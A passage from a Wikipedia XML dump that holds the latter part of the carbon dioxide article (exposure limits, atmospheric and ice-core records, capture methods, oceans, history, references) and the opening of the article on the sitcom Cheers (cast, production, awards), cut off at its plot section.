Plants remove carbon dioxide from the atmosphere by [[photosynthesis]], which uses light energy to produce organic plant materials by combining carbon dioxide and [[water]]. This releases free oxygen gas. Sometimes carbon dioxide gas is pumped into [[greenhouse]]s to promote plant growth. Plants also emit CO&lt;sub&gt;2&lt;/sub&gt; during respiration, but on balance they are net sinks of CO&lt;sub&gt;2&lt;/sub&gt;.

[[OSHA]] limits carbon dioxide concentration in the workplace to 0.5% for prolonged periods. The U.S. National Institute for Occupational Safey and Health limits brief exposures (up to ten minutes) to 3% and considers concentrations exceeding 4% as &quot;[[immediately dangerous to life and health]].&quot;  People who breathe 5% carbon dioxide for more than half an hour show signs of acute [[hypercapnia]], while breathing 7%&amp;ndash;10% carbon dioxide can produce unconsciousness in only a few minutes. Carbon dioxide, either as a gas or as dry ice, should be handled only in well-ventilated areas.

''See also'': [[Arterial blood gas]].

== Atmosphere ==
[[Image:CO2-Mauna-Loa.png|thumbnail|right|250px|Atmospheric CO&lt;sub&gt;2&lt;/sub&gt; concentrations, measured at [[Mauna Loa]].]]
[[As of 2004]], the [[earth's atmosphere]] is about 0.038% by volume (380 µL/L or [[Parts per million|ppmv]]) or 0.057% by weight CO&lt;sub&gt;2&lt;/sub&gt;. This represents about 2.94 × 10&lt;sup&gt;12&lt;/sup&gt; [[tonnes]] of CO&lt;sub&gt;2&lt;/sub&gt;. Because of the greater land area, and therefore greater plant life, in the northern hemisphere as compared to the southern hemisphere, there is an annual fluctuation of about 5 µL/L, peaking in May and reaching a minimum in October at the end of the northern hemisphere growing season, when the quantity of [[biomass]] on the planet is greatest.

Despite its small concentration, CO&lt;sub&gt;2&lt;/sub&gt; is a very important component of Earth's atmosphere, because it absorbs [[infrared]] radiation and enhances the [[greenhouse effect]].

The initial carbon dioxide in the atmosphere of the young Earth was produced by [[volcano|volcanic activity]]; this was essential for a warm and stable climate conducive to life. Volcanic activity now releases about 130 to 230 [[gram|teragrams]] (145 million to 255 million [[ton|short tons]]) of carbon dioxide each year.  Volcanic releases are about 1% of the amount which is released by human activities.

[[Image:Global Carbon Emission by Type.png|thumb|left|250px|Global [[carbon dioxide]] emissions [[1751]]&amp;ndash;[[2000]].]]
Since the start of the [[Industrial Revolution]], the atmospheric CO&lt;sub&gt;2&lt;/sub&gt; concentration has increased by approximately 110 µL/L or about 40%, most of it released since [[1945]]. Monthly measurements taken at [[Mauna Loa]] [http://cdiac.esd.ornl.gov/trends/co2/sio-mlo.htm] since [[1958]] show an increase from 316 µL/L in that year to 376 µL/L in [[2003]], an overall increase of 60 µL/L during the 44-year history of the measurements.  Burning [[fossil fuel]]s such as [[coal]] and [[petroleum]] is the leading cause of increased man-made CO&lt;sub&gt;2&lt;/sub&gt;; [[deforestation]] is the second major cause. In 1997, Indonesian [[peat]] fires may have released 13%&amp;ndash;40% as much carbon as fossil fuel burning does [http://en.wikipedia.org/wiki/Peat#Peat_fires]. Various techniques have been proposed for removing excess carbon dioxide from the atmosphere in [[carbon dioxide sink]]s. Not all the emitted CO&lt;sub&gt;2&lt;/sub&gt; remains in the atmosphere; some is absorbed in the oceans or biosphere. The
ratio of the emitted CO&lt;sub&gt;2&lt;/sub&gt;  to the increase is atmospheric CO&lt;sub&gt;2&lt;/sub&gt; is known as the ''airborne fraction'' (Keeling et al., 1995); this varies for short-term averages but is typically 57% over longer (5 year) periods.

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;
[[Image:TOMS indonesia smog lrg.jpg|thumb|200px|Smoke and ozone pollution from Indonesian fires, 1997.]]

The Global Warming Theory (GWT) predicts that increased amounts of CO&lt;sub&gt;2&lt;/sub&gt; in the atmosphere tend to enhance the [[greenhouse effect]] and thus contribute to [[global warming]]. The effect of combustion-produced carbon dioxide on climate is called the [[Callendar effect]].

=== Variation in the past ===
[[Image:Carbon Dioxide 400kyr.png|thumb|right|250px|CO&lt;sub&gt;2&lt;/sub&gt; concentrations over the last 400,000 years]]

The most direct method for measuring atmospheric carbon dioxide concentrations for periods before direct sampling is to measure bubbles of air ([[fluid inclusions|fluid or gas inclusions]]) trapped in the [[Antarctica|Antarctic]] or [[Greenland]] ice caps.  The most widely accepted of such studies come from a variety of Antarctic cores and indicate that atmospheric CO&lt;sub&gt;2&lt;/sub&gt; levels were about 260&amp;ndash;280µL/L immediately before industrial emissions began and did not vary much from this level during the preceding 10,000 years.

The longest [[ice core]] record comes from East Antarctica, where ice has been sampled to an age of 650,000 years before the present. [http://pubs.acs.org/cen/news/83/i48/8348notw1.html] During this time, the atmospheric carbon dioxide concentration has varied between 180&amp;ndash;210 µL/L during [[ice age]]s, increasing to 280&amp;ndash;300 µL/L during warmer [[interglacial]]s.

Some studies have disputed the claim of stable CO&lt;sub&gt;2&lt;/sub&gt; levels during the present interglacial (the last 10 kyr).  Based on an analysis of fossil leaves, Wagner et al.{{ref|Wagner2002}} argued that CO&lt;sub&gt;2&lt;/sub&gt; levels during the period 7&amp;ndash;10 kyr ago were significantly higher (~300 µL/L) and contained substantial variations that may be correlated to climate variations.  Others have disputed such claims, suggesting they are more likely to reflect calibration problems than actual changes in CO&lt;sub&gt;2&lt;/sub&gt;{{ref|Indermuhle1999}}.  Relevant to this dispute is the observation that Greenland ice cores often report higher and more variable CO&lt;sub&gt;2&lt;/sub&gt; values than similar measurements in Antarctica.  However, the groups responsible for such measurements (e.g., Smith et al.{{ref|Smith1997}}) believe the variations in Greenland cores result from ''in situ'' decomposition of [[calcium carbonate]] dust found in the ice.  When dust levels in Greenland cores are low, as they nearly always are in
Antarctic cores, the researchers report good agreement between Antarctic and Greenland CO&lt;sub&gt;2&lt;/sub&gt; measurements.

[[Image:Phanerozoic Carbon Dioxide.png|thumb|left|300px|Changes in carbon dioxide during the [[Phanerozoic]] (the last 542 million years).  The recent period is located on the left-hand side of the plot, and it appears that much of the last 550 million years has experienced carbon dioxide concentrations significantly higher than the present day.]]

On longer timescales, various proxy measurements have been used to attempt to determine atmospheric carbon dioxide levels millions of years in the past.  These include [[boron]] and [[carbon]] [[isotope]] ratios in certain types of marine sediments, and the number of [[stomata]] observed on fossil plant leaves.  While these measurements give much less precise estimates of carbon dioxide concentration than ice cores, there is evidence for very high CO&lt;sub&gt;2&lt;/sub&gt; concentrations (&gt;3,000 µL/L) between 600 and 400 Myr BP and between 200 and 150 Myr BP.[http://www.grida.no/climate/ipcc_tar/wg1/fig3-2.htm] On long timescales, atmospheric CO&lt;sub&gt;2&lt;/sub&gt; content is determined by the balance among geochemical processes including organic carbon burial in sediments, silicate rock [[weathering]], and vulcanism. The net effect of slight imbalances in the carbon cycle over tens to hundreds of millions of years has been to reduce atmospheric CO&lt;sub&gt;2&lt;/sub&gt;. The rates of these processes are extremely slow; hence they
are of limited relevance to the atmospheric CO&lt;sub&gt;2&lt;/sub&gt; response to emissions over the next hundred years. In more recent times, atmospheric CO&lt;sub&gt;2&lt;/sub&gt; concentration continued to fall after about 60 Myr BP, and there is geochemical evidence that concentrations were &lt;300 µL/L by about 20 Myr BP. Low CO&lt;sub&gt;2&lt;/sub&gt; concentrations may have been the stimulus that favored the evolution of [[C4 carbon fixation|C4]] plants, which increased greatly in abundance between 7 and 5 Myr BP. Although contemporary CO&lt;sub&gt;2&lt;/sub&gt; concentrations were exceeded during earlier geological epochs, present carbon dioxide levels are likely higher now than at any time during the past 20 million years [http://www.grida.no/climate/ipcc_tar/wg1/107.htm#331] and at the same time lower than at any time in history if we look at time scales longer than 50 million years.

== Capturing/Extracting CO&lt;sub&gt;2&lt;/sub&gt; ==
Methods of CO&lt;sub&gt;2&lt;/sub&gt; extraction/separation include:

*[[Adsorption]]

[http://www.netl.doe.gov/publications/proceedings/01/carbon_seq/3b3.pdf www.netl.doe.gov]('''pdf file''')

*[[Amine]] extraction

*[[Molecular Sieve]]

*[[Polymer membrane gas separator]]s [http://www.medal.airliquide.com/en/membranes/carbon/index.asp] [http://www.medal.airliquide.com/en/membranes/carbon/coal.asp]

*Reversing heat exchangers

*[[Regenerative Carbon Dioxide Removal System]](RCRS)

The RCRS on the space shuttle Orbiter uses a two-bed system that provides continuous removal of CO2 without expendable products.  Regenerable systems allow a shuttle mission a longer stay in space  without having to replenish its sorbent canisters. Older [[lithium hydroxide]] (LiOH)-based systems, which are non-regenerable, are being replaced by regenerable [[metal-oxide]]-based systems. A metal-oxide-based system primarily consists of a metal oxide sorbent canister and a regenerator assembly. This system works by removing carbon dioxide using a [[sorbent]] matireal and then regenerating the [[sorbent]] material.  The metal-oxide sorbent is regenerated by pumping air heated to around 400º F at 7.5 scfm through its canister for 10 hours. [http://www.hamiltonsundstrand.com/hsc/proddesc_display/0,4494,CLI1_DIV25_ETI5338_PRD776,00.html]

== Oceans ==
The Earth's [[ocean]]s contain a huge amount of carbon dioxide in the form of bicarbonate and carbonate ions&amp;mdash;much more than the amount in the atmosphere. The bicarbonate is produced in reactions between rock, water, and carbon dioxide. One example is the dissolution of calcium carbonate:

CaCO&lt;sub&gt;3&lt;/sub&gt; + CO&lt;sub&gt;2&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;O {{unicode|⇌}} Ca&lt;sup&gt;2+&lt;/sup&gt; + 2 HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;

Reactions like this tend to buffer changes in atmospheric CO&lt;sub&gt;2&lt;/sub&gt;. Reactions between carbon dioxide and non-carbonate rocks also add bicarbonate to the seas, which can later undergo the reverse of the above reaction to form carbonate rocks, releasing half of the bicarbonate as CO&lt;sub&gt;2&lt;/sub&gt;. Over hundreds of millions of years this has produced huge quantities of carbonate rocks. If all the carbonate rocks in the earth's crust were to be converted back into carbon dioxide, the resulting carbon dioxide would weigh 40 times as much as the rest of the atmosphere.

The vast majority of CO&lt;sub&gt;2&lt;/sub&gt; added to the atmosphere will eventually be absorbed by the oceans and become bicarbonate ion, but the process takes on the order of a hundred years because most seawater rarely comes near the surface.

==History==
Carbon dioxide was one of the first gases to be described as a substance distinct from air. In the [[17th century]], the [[Flanders|Flemish]] chemist [[Jan Baptist van Helmont]] observed that when he burned [[charcoal]] in a closed vessel, the mass of the resulting ash was much less than that of the original charcoal. His interpretation was that the rest of the charcoal had been [[transmutation|transmuted]] into an invisible substance he termed a &quot;gas&quot; or &quot;wild spirit&quot; (''spiritus sylvestre'').

Carbon dioxide's properties were studied more thoroughly in the [[1750s]] by the [[Scotland|Scottish]] physician [[Joseph Black]].  He found that [[limestone]] ([[calcium carbonate]]) could be heated or treated with [[acid]]s to yield a gas he termed &quot;fixed air.&quot;  He observed that the fixed air was denser than air and did not support either flame or animal life.  He also found that it would, when bubbled through an aqueous solution of lime ([[calcium hydroxide]]), precipitate calcium carbonate, and used this phenomenon to illustrate that carbon dioxide is produced by animal respiration and microbial fermentation.  In [[1772]], [[Joseph Priestley]] used carbon dioxide produced from the action of sulfuric acid on limestone to prepare soda water, the first known instance of an artificially carbonated drink.  {{inote|Priestley (1772)}}

Carbon dioxide was first liquefied (at elevated pressures) in [[1823]] by [[Humphrey Davy]] and [[Michael Faraday]]. {{inote|Davy (1823)}}  The earliest description of solid carbon dioxide was given by [[Charles Thilorier]], who in [[1834]] opened a pressurized container of liquid carbon dioxide, only to find that the cooling produced by the rapid evaporation of the liquid yielded a &quot;snow&quot; of solid CO&lt;sub&gt;2&lt;/sub&gt;.

== See also ==
* [[Carbon audit regime]]
* [[Carbon dioxide (data page)]]
* [[Cellular respiration]]
* [[Natural gas]]

== References ==
* {{note|Wagner2002}} {{cite journal
 | first = Friederike | last = Wagner
 | coauthors = Bent Aaby and Henk Visscher
 | title = Rapid atmospheric CO&lt;sub&gt;2&lt;/sub&gt; changes associated with the 8,200-years-B.P. cooling event
 | journal = PNAS
 | volume = 99 | issue = 19 | year = 2002 | pages = 12011–12014
 | id = {{doi|10.1073/pnas.182420699}}
 }}
* {{note|Indermuhle1999}} {{cite journal
 | first = Andreas | last = Indermühle
 | coauthors = Bernhard Stauffer, Thomas F. Stocker
 | title = Early Holocene Atmospheric CO&lt;sub&gt;2&lt;/sub&gt; Concentrations
 | journal = Science
 | volume = 286 | issue = 5446 | year = 1999 | pages = 1815
 | id = {{doi|10.1126/science.286.5446.1815a}}
 | url = http://www.sciencemag.org/cgi/content/full/286/5446/1815a
 | accessdate = May 26
 | accessyear = 2005
 }}
* {{note|Smith1997}} {{cite journal
 | first = H.J. | last = Smith
 | coauthors = M Wahlen and D. Mastroianni
 | title = The CO&lt;sub&gt;2&lt;/sub&gt; concentration of air trapped in GISP2 ice from the Last Glacial Maximum-Holocene transition
 | journal = Geophysical Research Letters
 | volume = 24
 | issue = 1
 | year = 1997
 | pages = 1–4
 }}
* {{cite journal
 | first = Joseph | last = Priestley
 | authorlink = Joseph Priestley
 | title = Observations on Different Kinds of Air
 | journal = Philosophical Transactions
 | volume = 62
 | year = 1772
 | pages = 147–264
 }}
* {{cite journal
 | first = Humphrey | last = Davy
 | authorlink = Humphrey Davy
 | title = On the Application of Liquids Formed by the Condensation of Gases as Mechanical Agents 
 | journal = Philosophical Transactions
 | volume = 113
 | year = 1823
 | pages = 199–205
 }}

== External links ==
{{Commons|Carbon dioxide}}
* {{ICSC|0021}} &lt;!-- in general: {{ICSC|AllDigits|TwoDigits}} --&gt;
* {{PubChemLink|280}}
* [http://www.dryiceinfo.com/science.htm Dry Ice information]
* Bassam Z. Shakhashiri: [http://scifun.chem.wisc.edu/chemweek/CO2/CO2.html Chemical of the Week: Carbon Dioxide]
* Keeling, C.D. and T.P. Whorf: [http://cdiac.esd.ornl.gov/trends/co2/sio-mlo.htm Atmospheric carbon dioxide record from Mauna Loa], 2002
* [http://www.usatoday.com/weather/news/2004-03-21-co2-buildup_x.htm Mauna Loa 2004 update]
* [http://www.uigi.com/carbondioxide.html CO2 Carbon Dioxide Properties, Uses, Applications]
* [http://www.compchemwiki.org/index.php?title=Carbon_dioxide Computational Chemistry Wiki]
* [http://scifun.chem.wisc.edu/chemweek/CO2/CO2_phase_diagram.gif Pressure-Temperature phase diagram for carbon dioxide]
* [http://www.nacarbon.org North American Carbon Program]
*[http://www.bluerhinos.co.uk/molview/indv.php?id=2 Molview from bluerhinos.co.uk] See Carbon dioxide in 3D

[[Category:Inorganic carbon compounds]]
[[Category:Oxides]]
[[Category:Acid anhydrides]]
[[Category:Greenhouse gases]]
[[Category:Propellants]]
[[Category:Household chemicals]]
[[Category:Solvents]]
[[Category:Refrigerants]]
[[Category:Fire suppression agents]]
[[Category:Coolants]]

[[ar:ثاني أكسيد الكربون]]
[[bg:Въглероден диоксид]]
[[bs:Ugljen dioksid]]
[[ca:Diòxid de carboni]]
[[cs:Oxid uhličitý]]
[[da:Carbondioxid]]
[[de:Kohlenstoffdioxid]]
[[eo:Karbona dioksido]]
[[es:Dióxido de carbono]]
[[et:Süsihappegaas]]
[[fi:Hiilidioksidi]]
[[fr:Dioxyde de carbone]]
[[gl:Dióxido de carbono]]
[[he:פחמן דו חמצני]]
[[hr:Ugljikov dioksid]]
[[hu:Szén-dioxid]]
[[io:Karbo dioxido]]
[[is:Koldíoxíð]]
[[it:Anidride carbonica]]
[[ja:二酸化炭素]]
[[ko:이산화 탄소]]
[[la:Dioxidum carbonis]]
[[lt:Anglies dioksidas]]
[[lv:Oglekļa dioksīds]]
[[mk:Јаглерод диоксид]]
[[ms:Karbon dioksida]]
[[nl:Kooldioxide]]
[[nn:Karbondioksid]]
[[no:Karbondioksid]]
[[oc:Dioxide de carbòni]]
[[pl:Tlenek węgla(IV)]]
[[pt:Dióxido de carbono]]
[[ru:Диоксид углерода]]
[[sc:Diòssidu de carboniu]]
[[simple:Carbon dioxide]]
[[sk:Oxid uhličitý]]
[[sl:Ogljikov dioksid]]
[[sr:Угљен диоксид]]
[[sv:Koldioxid]]
[[th:คาร์บอนไดออกไซด์]]
[[tr:Karbondioksit]]
[[vi:Điôxít cacbon]]
[[wa:Diyocside di carbone]]
[[zh:二氧化碳]]</text>
    </revision>
  </page>
  <page>
    <title>Cheers</title>
    <id>5907</id>
    <revision>
      <id>41642397</id>
      <timestamp>2006-02-28T19:11:14Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/ElRyoGuy|ElRyoGuy]] ([[User talk:ElRyoGuy|talk]]) to last version by Turnstep</comment>
      <text xml:space="preserve">:''For other meanings of &quot;Cheers&quot; see [[Cheers (disambiguation)]]''
{{infobox television |
  | show_name = Cheers
  | image = [[Image:Cheers intro logo.jpg|200px]]
  | caption = ''Cheers'' Title Screen
  | format = [[Sitcom]]
  | runtime = 24 minutes
  | creator = James Burrows, Glen Charles, and Les Charles 
  | starring =[[Ted Danson]]&lt;br&gt;[[Shelley Long]]&lt;br&gt;[[Kirstie Alley]]&lt;br&gt;[[Nicholas Colasanto]]&lt;br&gt;[[Rhea Perlman]]&lt;br&gt;[[John Ratzenberger]]&lt;br&gt;[[Woody Harrelson]]&lt;br&gt;[[Kelsey Grammer]]&lt;br&gt;[[Bebe Neuwirth]]&lt;br&gt;and [[George Wendt]]
  | country = [[United States|USA]]
  | network = [[NBC]]
  | first_aired = [[September 30]], [[1982]]
  | last_aired = [[May 20]], [[1993]]
  | num_episodes = [[List of Cheers episodes|273]]
  | imdb_id = 0083399
|}}

'''''Cheers''''' was a long-running [[United States|American]] [[situation comedy]] produced by Charles-Burrows-Charles Productions in association with [[Paramount Pictures|Paramount Television]] for [[NBC]]. ''Cheers'' was created by the team of [[James Burrows]], [[Glen Charles]], and [[Les Charles]]. The show was set in the eponymous Cheers [[bar (establishment)|bar]] (both the show and the bar are named after the [[Toast (honor)|toast]] &quot;Cheers&quot;) in [[Boston, Massachusetts]], where a group of locals met to drink and generally have fun. The show's theme song was written and performed by Gary Portnoy&lt;ref&gt;Gary Portnoy (2006). [http://www.garyportnoy.com/ Portnoy's personal site]&lt;/ref&gt; with its famous refrain, &quot;where everybody knows your name&quot; that also became the show's [[tagline]].&lt;ref&gt;Lyrics on Demand (2006). [http://www.lyricsondemand.com/tvthemes/cheerslyrics.html Lyrics to the &quot;''Cheers'' Theme&quot;]&lt;/ref&gt;

After premiering on [[September 30]], [[1982]], it was nearly cancelled during its first season when it ranked dead last in ratings.&lt;ref&gt;Blogcritics.org (January 22th, 2004) (2006). [http://blogcritics.org/archives/2004/01/22/210120.php Blog on the History of ''Cheers'']&lt;/ref&gt;&lt;ref name=&quot;toastingcheers&quot;&gt;&lt;u&gt;Toasting ''Cheers'': An Episode Guide to the 1982-1993 Comedy Series, with cast biographies and character profiles&lt;/u&gt;. Bjorklund, Dennis A. 1997, McFarland &amp; Company, Inc. Jefferson, North Carolina.&lt;/ref&gt; However, ''Cheers'' eventually became one of the most [[Nielsen Ratings|popular television shows]] in the United States, earning a top-ten rating during seven of its eleven seasons and spending the bulk of its run on [[NBC]]'s [[Must See TV|Must See Thursday]] lineup. Its [[List of most-watched television episodes|widely watched]] [[series finale]] was broadcast on [[May 20]], [[1993]], and the show's 273 [[List of Cheers episodes|episodes]] have now entered into a long and successful [[Television syndication|syndication]] run. The show earned 26 [[Emmy Award]]s, out of a total of 117 nominations.&lt;ref name=&quot;awards1&quot;&gt;IMDb (2006). [http://www.imdb.com/title/tt0083399/awards Awards for ''Cheers'']&lt;/ref&gt; The character [[Frasier Crane]] ([[Kelsey Grammer]]) later starred in his own successful [[List of television spin-offs|spin-off]], ''[[Frasier]]'', after ''Cheers'' ended.

==Cast==
[[Image:Cheers cast photo.jpg|thumb|right|270px|The main cast of ''Cheers'' after season 5&lt;br&gt;(from left to right): (top) [[John Ratzenberger]], [[Roger Rees]], [[Woody Harrelson]] (middle) [[Rhea Perlman]], [[Ted Danson]], [[Kirstie Alley]], [[George Wendt]] (bottom) [[Kelsey Grammer]], [[Bebe Neuwirth]].]]
:''For a full list of characters with articles, see [[:Category:Cheers characters|the individual character articles]]''
''Cheers'' maintained an [[ensemble cast]], keeping roughly the same set of characters for the entire run. Numerous secondary characters and love interests for these characters appeared intermittently to complement storylines that generally revolve around this core group.

The table below summarizes the main cast of ''Cheers''.

{| class=&quot;wikitable&quot; 
|-
! Character
! Actor/Actress
! Position
! Other Jobs
|-
| [[Woody Boyd|Woodrow 'Woody' Boyd]]
| [[Woody Harrelson]]
| Assistant Bartender
| Actor
|-
| [[Diane Chambers]]
| [[Shelley Long]]
| Waitress
| Writer
|-
| [[Clifford Clavin]]
| [[John Ratzenberger]]
| Customer
| Mailman
|-
| [[Frasier Crane]]
| [[Kelsey Grammer]]
| Customer
| [[Psychiatrist]]
|-
| [[Rebecca Howe]]
| [[Kirstie Alley]]
| Manager/Waitress
| Businesswoman
|-
| [[Sam Malone]]
| [[Ted Danson]]
| Bartender/Owner
| [[Pitcher]]
|-
| [[Coach Ernie Pantusso|Ernie 'Coach' Pantusso]]
| [[Nicholas Colasanto]]
| Assistant Bartender
| Sam's [[Coach (sport)|coach]]
|-
| [[Norm Peterson]]
| [[George Wendt]]
| Customer
| [[Accountancy|Accountant]]
|-
| [[Lilith Sternin]]
| [[Bebe Neuwirth]]
| Customer
| [[Psychiatrist]]
|-
| [[Carla Tortelli]]
| [[Rhea Perlman]]
| Waitress
| [[Homemaker]]
|}

The character of Sam Malone was originally intended to be a retired [[American football]] player, but after casting Ted Danson, it was decided that a former [[relief pitcher]] for the [[Boston Red Sox]] would be more believable.&lt;ref&gt;TV1 (2006). [http://www.tv1.com.au/show.asp?id=17&amp;content=trivia TV1 - ''Cheers'']&lt;/ref&gt;  The character of Cliff Clavin was created for John Ratzenberger after he auditioned for ''Cheers''. While chatting with producers afterward, he asked if they were going to include a &quot;bar know-it-all&quot;, the part which he eventually played.&lt;ref&gt;Newport Under the Stars (2005)(2006). [http://newportunderthestars.com/newport/johnsbio.html John Ratzenberger's Newport Under the Stars]&lt;/ref&gt; Alley joined the cast when Long left, and Harrelson joined when Colasanto died. [[Ted Danson]], [[George Wendt]], and [[Rhea Perlman]] were the only actors to appear in every episode of the series. [[Paul Willson]], who played the recurring [[barfly]] character of &quot;Paul&quot;, made early appearances in the first season as &quot;Glen&quot;, was credited as &quot;Gregg&quot;, and also appeared in the show as a character named &quot;Tom&quot;.&lt;ref&gt;IMDb (2006). [http://www.imdb.com/name/nm0932750/bio Trivia for Paul Willson]&lt;/ref&gt;

===Guest stars===
Although ''Cheers'' operated largely around that main ensemble cast, [[guest star|guest stars]] did occasionally supplement them. Notable repeat guests included [[Jay Thomas]] as [[Eddie LeBec]], [[Dan Hedaya]] as [[Nick Tortelli]], [[Jean Kasem]] as [[Loretta Tortelli]], and [[Roger Rees]] as [[Robin Colcord]]. Other celebrities guest starred in single episodes as themselves throughout the series. Some sports figures appeared on the show as former teammates of Sam's from the [[Boston Red Sox|Red Sox]] such as [[Luis Tiant]] and [[Wade Boggs]], while others appeared with no connection to ''Cheers'' such as [[Kevin McHale]] or [[Mike Ditka]]. Some television stars also made guest appearances such as [[Johnny Gilbert]], [[Alex Trebek]], [[Arsenio Hall]], and [[Johnny Carson]]. Some political figures even made appearances on ''Cheers'' such as then-[[Speaker of the House|Speaker]] [[Tip O'Neill]], [[United States Senate|Senator]] [[John Kerry]], and then-[[Governor#United States|Governor]] [[Michael Dukakis]] (all of whom represented Cheers' [[Massachusetts|home state]]). [[John Cleese]] won an Emmy for his guest appearance as &quot;Dr. Simon Finch-Royce&quot; in a fifth season episode &quot;Simon Says&quot;.&lt;ref&gt;IMDb (2006). [http://imdb.com/title/tt0083399/guests Guest Stars for ''Cheers'']&lt;/ref&gt;

==Production==
The concept for ''Cheers'' was the end result of a long consideration process. The original idea was a group of workers who interacted like a family, hoping to be similar to ''[[The Mary Tyler Moore Show]]''. They considered making an American version of the [[United Kingdom|British]] ''[[Fawlty Towers]]'' centered around a hotel or an inn. When the creators settled on a bar as their setting the show began to resemble the [[Radio programming|radio show]] ''[[Duffy's Tavern]]''. They liked the idea of a tavern as it provided a continuous stream of new people arriving, giving them a constant supply of characters. &lt;ref name=&quot;toastingcheers&quot;/&gt;

After choosing a plot, the three had to choose a location. Early discussions centered around [[Barstow, California]], though they eventually turned to the [[East Coast of the United States|East Coast]] and Boston. The Bull &amp; Finch Pub in Boston that Cheers was styled after was originally chosen from a [[Telephone directory|phone book]]. When Glen Charles asked the owner to shoot initial [[Establishing shot|exterior]] and interior shots the owner agreed, charging 1[[United States Dollar|$]]. He has since gone on to make millions, licensing the pub's image and selling a variety of ''Cheers'' memorabilia, making the Bull &amp; Finch the 42nd busiest outlet in the American food and beverage industry in [[1997]]. Ironically during Shelley Long's casting (who was in Boston at the time filming ''[[A Small Circle of Friends]]'') she remarked that the bar in the script resembled a bar she had come upon in Boston, which turned out to be the Bull &amp; Finch.&lt;ref name=&quot;toastingcheers&quot;/&gt;

Most ''Cheers'' episodes were shot before a live studio audience on Paramount Stage 25, generally on Tuesday nights. Scripts for a new episode were issued the Wednesday before for a [[read-through]], Friday was [[rehearsal]] day, and final scripts were issued on Monday. Nearly 100 crewmembers were involved in the shooting of a single episode. Burrows, who directed most episodes, insisted on shooting on [[film]] rather than [[videotape]]. He was also noted for using motion in his directorial style, trying to always keep characters moving rather than standing still.&lt;ref name=&quot;toastingcheers&quot;/&gt;

===Crew===
The crew of ''Cheers'' numbered in the hundreds thus this section only provides a brief summary of the many crewmembers for the show. The three creators - [[James Burrows]], [[Glen Charles]], and [[Les Charles]] - stayed on throughout the series as executive producers.&lt;ref&gt;IMDb (2006). [http://imdb.com/title/tt0083399/fullcredits Full Cast and Crew]&lt;/ref&gt; In fact, the two Charles brothers kept offices on Paramount's lot for the duration of ''Cheers'' run. However, in the final seasons they handed over much of the show to Burrows. Burrows is regarded as being a factor in the show's longevity, directing 243 of the episodes and supervising the show's production.&lt;ref name=&quot;toastingcheers&quot;/&gt; 

[[David Angell]] was also a part of the crew from the start, writing many ''Cheers'' episodes.{{ref label|fullcred|9|a}} The show was often noted for its writing&lt;ref name=&quot;chardevelop&quot;&gt;The Museum of Broadcast Communications (2006). &lt;/ref&gt;&lt;ref name=&quot;toastingcheers&quot;/&gt; which most credit along with other production factors and the ensemble cast for ''Cheers'' success.

==Awards==
Over its eleven-season run, ''Cheers'' and its cast and crew earned many awards. Most notably, ''Cheers'' earned 117 [[Emmy Awards|Emmy]] nominations, edging out [[ER (TV series)|ER]] (115 [[as of 2005]]) for the most Emmy nominations for a single series.&lt;ref&gt;Emmy Awards (2005)(2006). [http://www.emmys.tv/downloads/ List of Emmy facts] [http://www.emmys.tv/downloads/images/2005emmys/2005factsfigs.doc MS Word Document]&lt;/ref&gt; These nominations resulted in a total of 26 Emmy wins. In addition, ''Cheers'' has earned 31 [[Golden Globe Award|Golden Globe]] nominations with a total of 6 wins. All ten of the actors who were regulars on the series received Emmy nominations for their roles. ''Cheers'' won the Golden Globe for &quot;Best TV-Series - Comedy/Musical&quot; in 1991 and the Emmy for  &quot;Outstanding Comedy Series&quot; in 1983, 1984, 1989, 1991, and 1992.

The following table summarizes awards won by the ''Cheers'' cast and crew.&lt;ref name=&quot;awards1&quot;/&gt;

{| class=&quot;wikitable&quot;
|+
! Winner
! Award
|-
| rowspan=&quot;2&quot; |Kirstie Alley
|Emmy, Outstanding Lead Actress in a Comedy Series (1991)
|-
|Golden Globe,  Best Performance by an Actress in a TV-Series - Comedy/Musical (1991)
|-
| rowspan=&quot;2&quot; |Ted Danson
|Emmy, Outstanding Lead Actor in a Comedy Series (1990, 1993)
|-
|Golden Globe,  Best Performance by an Actor in a TV-Series - Comedy/Musical (1990, 1991)
|-
|Woody Harrelson
|Emmy, Outstanding Supporting Actor in a Comedy Series (1989)
|-
| rowspan=&quot;3&quot; |Shelley Long
|Emmy, Outstanding Lead Actress in a Comedy Series (1983)
|-
|Golden Globe,  Best Performance by an Actress in a TV-Series - Comedy/Musical (1985)
|-
|Golden Globe,  Best Performance by an Actress in a Supporting Role in a Series, Mini-Series or Motion Picture Made for TV (1983)
|-
|Bebe Neuwirth
|Emmy, Outstanding Supporting Actress in a Comedy Series (1990, 1993)
|-
|Rhea Perlman
|Emmy, Outstanding Supporting Actress in a Comedy Series (1984, 1985, 1986, 1989)
|-
| rowspan=&quot;5&quot; |'''''Production Awards'''''
|Emmy, Outstanding Directing in a Comedy Series (1983, 1991)
|-
|Emmy, Outstanding Writing in a Comedy Series (1983, 1984)
|-
|Emmy, Outstanding Individual Achievement in Graphic Design and Title Sequences (1983)
|-
|Emmy, Outstanding Film Editing for a Series (1984)&lt;br&gt;Emmy, Outstanding Editing for a Series - Multi-Camera Production (1988, 1993) 
|-
|Emmy, Outstanding Live and Tape Sound Mixing and Sound Effects for a Series (1985)&lt;br&gt;Emmy, Outstanding Sound Mixing for a Comedy Series or a Special (1986, 1987, 1990)
|}

==Plot==
:''For the full list of episodes, see [[List of Cheers episodes]]''
Nearly all of ''Cheers'' took place in the front room of the bar, only occasionally stepping into the rear pool room or Sam's office. In fact, ''Cheers'' didn't show any action [[Cheers#Outside the bar|outside the bar]] until later into the series. ''Cheers'' had some [[Running gag|running gags]], such as Norm arriving in the bar greeted by a loud &quot;Norm!&quot; Early episodes generally followed Sam's antics with his various women, following a variety of [[Romantic comedy film|romantic comedy]] [[List of movie clichés by genre#Romance|clichés]] to get out of whatever relationship troubles he was in that particular episode. As the show progressed and Sam got into more serious relationships the general tone switched to comedy on Sam settling down into a more [[Monogamy|monogamous]] lifestyle. Throughout the series, larger [[story arc|story arcs]] began to develop that spanned multiple episodes or seasons interspersed with smaller themes and one-off episodes.

===Romance===
[[Image:Cheers sam diane kiss.jpg|150px|thumb|Sam and Diane kiss]]
